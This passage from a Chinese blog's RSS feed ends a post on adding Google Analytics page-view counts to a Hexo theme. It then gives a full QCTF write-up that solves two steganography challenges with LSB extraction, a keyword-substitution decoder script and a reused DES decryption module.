CSS并且尽量不破坏原主题的一体性，所以我选择的时候在文章下方发表时间和分类之间加上阅读量，同时在每页的页脚添加访问量展示，因此需要分别修改<code>layout/_partials/footer.swig</code> 和<code>layout/_marcro/post.swig</code>。</p><h4 id="footer.swig">footer.swig</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line">&#123;% if theme.footer.powered %&#125;</span><br><span class="line">  &lt;div class=&quot;powered-by&quot;&gt;&#123;#</span><br><span class="line">  #&#125;&#123;&#123; __(&#x27;footer.powered&#x27;, &#x27;&lt;a class=&quot;theme-link&quot; target=&quot;_blank&quot;&#x27; + nofollow + &#x27; href=&quot;https://hexo.io&quot;&gt;Hexo&lt;/a&gt;&#x27;) &#125;&#125;&#123;#</span><br><span class="line">#&#125;&lt;/div&gt;</span><br><span class="line">&#123;% endif %&#125;</span><br><span class="line">&lt;div class=&quot;powered-by&quot;&gt;</span><br><span class="line">  &lt;span class=&quot;post-meta-divider&quot;&gt;|&lt;/span&gt;               </span><br><span class="line">  当前页面阅读量 </span><br><span class="line">  &lt;span id=&#x27;clicks&#x27;&gt;&gt;_&lt;&lt;/span&gt;</span><br><span class="line">&lt;/div&gt;</span><br><span class="line">&#123;% if theme.footer.powered and theme.footer.theme.enable %&#125;</span><br><span class="line">  &lt;span class=&quot;post-meta-divider&quot;&gt;|&lt;/span&gt;</span><br><span class="line">&#123;% endif %&#125;</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h4 id="post.swig">post.swig</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line">&lt;/span&gt;</span><br><span class="line"></span><br><span class="line">&#123;% if not is_index %&#125;</span><br><span class="line">    &lt;i class=&quot;fa fa-mouse-pointer&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;</span><br><span class="line">    &lt;span class=&quot;post-meta-divider&quot;&gt;|&lt;/span&gt;</span><br><span class="line">    &lt;span class=&quot;post-meta-item-text&quot;&gt;阅读量:&lt;/span&gt;</span><br><span class="line">    &lt;span id = &quot;clicks&quot;&gt;&gt;_&lt;&lt;/span&gt;</span><br><span class="line">&#123;% endif %&#125;</span><br><span class="line"></span><br><span class="line">&#123;% if post.categories and post.categories.length and theme.post_meta.categories %&#125;</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>到此就大功告成了，现在打开博客就可以看到每个页面的阅读量了。</p><h2 id="后记">后记</h2><p>到这里反而有点怀念以前的 WordPress 了，省心的多。</p><p>不过既然是为了安全和简洁选择了 hexo，那就还是得有折腾的精神呀。</p><p>以后最好能在主页的每篇文章上加上阅读量，有时间再做吧（挖坑）。</p><h2 id="参考资料">参考资料</h2><p><ahref="https://developers.google.com/analytics/devguides/reporting/core/v3/quickstart/service-php">GoogleAnalytics（分析）API 入门：适用于服务帐号的 PHP 快速入门</a></p>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/hexo/">hexo</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/javascript/">javascript</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E5%A1%AB%E5%9D%91/">填坑</category>
      
      <category domain="http://blog.ihomura.cn/tags/Google-Analytics/">Google Analytics</category>
      
      <category domain="http://blog.ihomura.cn/tags/php/">php</category>
      
      
      <comments>http://blog.ihomura.cn/2018/07/26/%E7%94%A8-Google-Analytics-API-%E4%B8%BA-hexo-%E5%8D%9A%E5%AE%A2%E5%8A%A0%E4%B8%8A%E9%98%85%E8%AF%BB%E9%87%8F%E7%BB%9F%E8%AE%A1/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>WriteUp:QCTF keyword&amp;picture</title>
      <link>http://blog.ihomura.cn/2018/07/25/WriteUp-QCTF-keyword-picture/</link>
      <guid>http://blog.ihomura.cn/2018/07/25/WriteUp-QCTF-keyword-picture/</guid>
      <pubDate>Wed, 25 Jul 2018 15:39:10 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;QCTF 的 keyword 和 picture。&lt;/p&gt;
&lt;p&gt;之所以放到一起，因为两道题是一个解法。&lt;/p&gt;
&lt;p&gt;另外 Noise 那个题是真的无聊，不管了。&lt;/p&gt;
&lt;p&gt;本体分别如下&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/QCTF/keyword/keyword.png&quot;&gt;keyword&lt;/a&gt; &lt;a
href=&quot;/QCTF/picture/picture.png&quot;&gt;picture&lt;/a&gt;&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>QCTF 的 keyword 和 picture。</p><p>之所以放到一起，因为两道题是一个解法。</p><p>另外 Noise 那个题是真的无聊，不管了。</p><p>本体分别如下</p><p><a href="/QCTF/keyword/keyword.png">keyword</a> <ahref="/QCTF/picture/picture.png">picture</a></p><span id="more"></span><h2 id="lsb-aes">LSB + AES</h2><p>之所以说两道题都是一个解法，是因为它们都用了这个<ahref="https://github.com/livz/cloacked-pixel">脚本</a>。</p><p>就是在 LSB 前先把要加密的文本 AES 加密了一遍。</p><h2 id="keyword">keyword</h2><p>这道题解密的密码通过图片内容很容易猜测到是lovekfc，但是解密出来后是一个形似 flag 的字符串。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PVSF&#123;vVckHejqBOVX9C1c13GFfkHJrjIQeMwf&#125;</span><br></pre></td></tr></table></figure><p>通过 hint 知道是 keyword 字符替换法，也就是说如果 keyword 是<code>lovekfc</code> 那么字符对应关系就变成了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">A B C D E F G H I J K L M N ...</span><br><span class="line">L O V E K F C A B C D E F G ...</span><br></pre></td></tr></table></figure><p>这里有个细节是大写和小写都要进行相应的替换，其他字符不参与，所以可以构造脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">enc = <span class="string">r&quot;PVSF&#123;vVckHejqBOVX9C1c13GFfkHJrjIQeMwf&#125;&quot;</span></span><br><span class="line"></span><br><span class="line">keyword = <span class="string">&#x27;LOVEKFC&#x27;</span></span><br><span class="line"></span><br><span class="line">mapping = &#123;&#125;</span><br><span class="line"></span><br><span class="line">index = <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>)</span><br><span class="line">delta = <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>) - <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> keyword:</span><br><span class="line">    mapping[i] = <span class="built_in">chr</span>(index)</span><br><span class="line">    mapping[<span class="built_in">chr</span>(<span class="built_in">ord</span>(i) + delta)] = <span class="built_in">chr</span>(index + delta)</span><br><span class="line">    index = index + <span class="number">1</span></span><br><span class="line"></span><br><span class="line">new_index = <span class="built_in">ord</span>(<span class="string">&#x27;A&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> new_index &lt; <span class="built_in">ord</span>(<span class="string">&#x27;Z&#x27;</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">chr</span>(new_index) <span class="keyword">in</span> keyword <span class="keyword">or</span> <span class="built_in">chr</span>(new_index) <span class="keyword">in</span> keyword.lower():</span><br><span class="line">        new_index = new_index + <span class="number">1</span></span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    mapping[<span class="built_in">chr</span>(new_index)] = <span class="built_in">chr</span>(index)</span><br><span class="line">    mapping[<span class="built_in">chr</span>(new_index + delta)] = <span class="built_in">chr</span>(index + delta)</span><br><span class="line">    new_index = new_index + <span class="number">1</span></span><br><span class="line">    index = index + <span class="number">1</span></span><br><span class="line"></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(mapping)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> enc:</span><br><span class="line">    flag += mapping.get(i, i)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><h2 id="picture">picture</h2><p>这道题的密码隐藏在文件名中，就是表情包文字的拼音缩写<code>wwjkwywq</code>，解出来后是一个 python 脚本，看起来是做 DES的。</p><img src="/2018/07/25/WriteUp-QCTF-keyword-picture/1.png" class="" title="DES"><p>不过停一下，这个 <code>__all__</code> 是什么鬼，太出戏了吧。</p><blockquote><p>The only solution is for the package author to provide an explicitindex of the package. The import statement uses the followingconvention: if a package’s <strong>init</strong>.py code defines a listnamed <strong>all</strong>, it is taken to be the list of module namesthat should be imported when from package import * is encountered. It isup to the package author to keep this list up-to-date when a new versionof the package is released. Package authors may also decide not tosupport it, if they don’t see a use for importing * from theirpackage.</p></blockquote><p>也就是说 <code>__all__</code> 正常来说只有模块或者<code>__init__.py</code> 中才会出现，但是往下翻可以看到</p><img src="/2018/07/25/WriteUp-QCTF-keyword-picture/2.png" class="" title="all"><p>显然从这个脚本后面的结构上来看并不是一个模块，但是它又有<code>__all__</code>，大胆猜测这是出题人不知道从哪扒来的代码，直接搜一下。</p><img src="/2018/07/25/WriteUp-QCTF-keyword-picture/3.png" class="" title="bing"><p>bingo，第一个结果正是这个脚本的<ahref="https://github.com/liupengs/DES_Python/blob/master/des.py">出处</a>。</p><p>可以看到出题人煞费苦心，删掉了注释删掉了正常的测试逻辑，结果百密一疏忘了<code>__all__</code>，这里我们直接用这个 repo提供的解密模块就可以了。</p><img src="/2018/07/25/WriteUp-QCTF-keyword-picture/4.png" class="" title="decode"><h2 id="后记">后记</h2><p>吃一堑长一智，反正下次就知道这个工具咯。</p><h2 id="参考资料">参考资料</h2><p>这里引一篇 hackfun 的文章，总结的很到位。</p><ul><li><ahref="https://hackfun.org/2017/02/22/CTF%E4%B8%AD%E9%82%A3%E4%BA%9B%E8%84%91%E6%B4%9E%E5%A4%A7%E5%BC%80%E7%9A%84%E7%BC%96%E7%A0%81%E5%92%8C%E5%8A%A0%E5%AF%86/">CTF中那些脑洞大开的编码和加密</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/CTF/">CTF</category>
      
      <category domain="http://blog.ihomura.cn/categories/CTF/QCTF/">QCTF</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/WriteUp/">WriteUp</category>
      
      <category domain="http://blog.ihomura.cn/tags/QCTF/">QCTF</category>
      
      <category domain="http://blog.ihomura.cn/tags/MISC/">MISC</category>
      
      <category domain="http://blog.ihomura.cn/tags/lsbd/">lsbd</category>
      
      
      <comments>http://blog.ihomura.cn/2018/07/25/WriteUp-QCTF-keyword-picture/#disqus_thread</comments>
      
    </item>
    
  </channel>
</rss>
